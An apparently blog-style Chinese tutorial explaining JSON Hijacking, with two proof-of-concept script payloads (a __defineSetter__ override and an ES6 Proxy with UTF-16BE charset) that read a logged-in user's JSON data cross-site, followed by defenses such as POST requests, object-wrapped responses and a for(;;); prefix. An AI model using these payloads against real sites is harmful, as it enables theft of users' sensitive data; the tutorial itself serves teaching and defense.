Json Hijacking 簡介
Json Hijacking 是一項已經存在多年的安全漏洞,目前各大主流瀏覽器都已經修補
這裡進行說明,什麼是 Json Hijacking 以及防範方式:
當用戶登入 A 網站, A 網站是透過瀏覽器 cookie 進行身份驗證,以及具有以下特徵
- 包含敏感資料
- JSON array 的格式
- GET requests.
- 瀏覽器啟用了javascript
- 瀏覽器支援
__defineSetter__
方法
例如,登入時,會得到敏感資料
當用戶開啟垃圾郵件,在不知情的情況,登入另一個駭客網
駭客會透過瀏覽器漏洞,透過<script>
CVT2HUGO: tag 發送一個請求到用戶登入過的 A 網站
<script type="text/javascript">
var o = [];
Object.prototype.__defineSetter__('Id', function (obj) {
console.log(obj);
});
Object.prototype.__defineSetter__('Balance', function (obj) {
console.log(obj);
});
</script>
<script id="myJson" type="application/json" src="http://mywebsite.com/getjson"></script>
這個請求會夾帶著用戶 cookie 以 GET 的方式前往 A 網站
由於 A 網站會返回 Array 格式,返回後可以被當作 javascript 執行 (如果返回的是 json object {} 則不會被執行)
惡意網站只要再透過 Object 的 prototype 裡的 __defineSetter 方法,複寫 setter 預設的屬性
例如,將每一個物件都增加一個 Id 屬性
Object.prototype.__defineSetter__('Id', function(obj){alert(obj);});
此時,用戶就成了受害者
雖然,這些年來,Json Hijacking 已經陸續被修復
但是,近年在 ES 6 的 Proxy 又讓 Array 能被修改
例如:
<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
has:function(target,name){
alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
}
}));
</script>
<script charset="UTF-16BE" src="http://mywebsite.com/getjson"></script>
在目前主流瀏覽器多數也已修正這項功能
預防方式
雖然多數主流瀏覽器已經修正修改 array 屬性已進行 Json Hijacking 的漏洞
但是,基本的防範仍有必要
基本預防 Json Hijacking 方式如下:
- 敏感資料改用 POST 方式
- 返回的 json 資料格式,最外層以 {} 物件,而不要用 [] 陣列的格式
例如
可以被執行
[{"object": "inside an array"}]
不可被執行
{"object": "not inside an array"}
不可被執行
{"result": [{"object": "inside an array"}]}
另外,目前在 facebook 再返回的son 會再加上 無限迴圈執行功能,以防範 Json Hijacking
for (;;);
在取得資料之後,會先移除掉無限迴圈的部分,在進行 json parse
補充
Github 提供了一個 JsonHijackDemo ,可以從 CodeHaacks solution from GitHub 取得
單字:
unwitting 不知情的
vulnerability 漏洞
spams 垃圾郵件
victim 受害者